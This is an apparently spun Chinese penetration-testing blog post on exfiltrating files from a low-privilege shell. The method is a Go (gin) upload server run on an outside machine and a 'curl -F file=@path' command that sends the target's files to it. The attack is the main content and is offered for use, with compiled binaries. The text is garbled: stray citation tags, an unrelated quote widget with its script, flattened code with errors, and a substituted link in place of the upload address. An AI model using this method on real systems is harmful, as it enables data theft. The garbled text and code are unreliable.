在处理低权限shell回传文件的问题时，如果无法使用scp命令且无法安装sshpass，可以考虑使用curl命令进行文件传输。以下是详细的伪原创内容：
至少我们曾经在一起过。
来自：一言
var xhr = new XMLHttpRequest();xhr.open('get', 'https://v1.hitokoto.cn/');xhr.onreadystatechange = function () { if (xhr.readyState === 4) { var data = JSON.parse(xhr.responseText); var hitokoto = document.getElementById('hitokoto'); hitokoto.innerText = data.hitokoto; }}xhr.send();
在当前情境下，我们面临一个低权限的shell[aru_17]，而目标网站没有web服务。此外，scp命令由于权限不足（需要密码验证）无法使用[aru_28]。虽然网上建议使用sshpass来执行带密码的scp命令，但由于当前权限无法安装该工具[aru_28]，因此在大表哥的指导下，我们可以利用curl命令进行文件回传[aru_21]。
条件：
一台服务器（这是必需的[aru_13]）目标服务器能够执行curl命令。
方法：
使用Golang编写一个简单的文件上传后端。选择Golang是因为它可以避免安装环境等复杂操作，当然也可以使用其他编程语言[aru_62]。
点击查看后端源码
main.go文件
package mainimport ("flag""go-upload/runserver")
func main() {filedir := flag.String("f", "", "保存路径")lport := flag.String("p", "8088", "运行端口")flag.Parse()if filedir != "" && lport != "" {runserver.Runserver(filedir, lport)} else {flag.Usage()}}
root.go文件
package runserverimport ("fmt""github.com/gin-gonic/gin""net/http")
/** @Author: A
- @Date: 2021/7/6 11:32/func Runserver(filedir string, lport string) {r := gin.Default()b := filedirr.POST("/upload", func(c gin.Context) {file, err := c.FormFile("file")//fmt.Println(file.Filename)s := b + "/" + file.Filenameif err != nil {c.String(500, "err")}// c.JSON(200, gin.H{"message": file.Header.Context})err = c.SaveUploadedFile(file, s)if err != nil {c.String(http.StatusOK, "err")}c.String(http.StatusOK, "ok")})r.Run(":" + lport)}
curl命令参数（根据环境进行调整）
curl -F "file=@文件路径" https://www.php.cn/link/d7ee21eda04855ea84c497c61337e896
上传成功会回显ok
提供的源码可以直接下载，如果不想自己编译，可以下载已编译好的Windows和Linux 64位运行程序。
蓝奏云
以上就是渗透测试|利用curl回传文件的详细内容，更多请关注创想鸟其它相关文章！
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 chuangxiangniao@163.com 举报，一经查实，本站将立刻删除。
发布者：程序猿，转转请注明出处：https://www.chuangxiangniao.com/p/26563.html
微信扫一扫 
支付宝扫一扫 
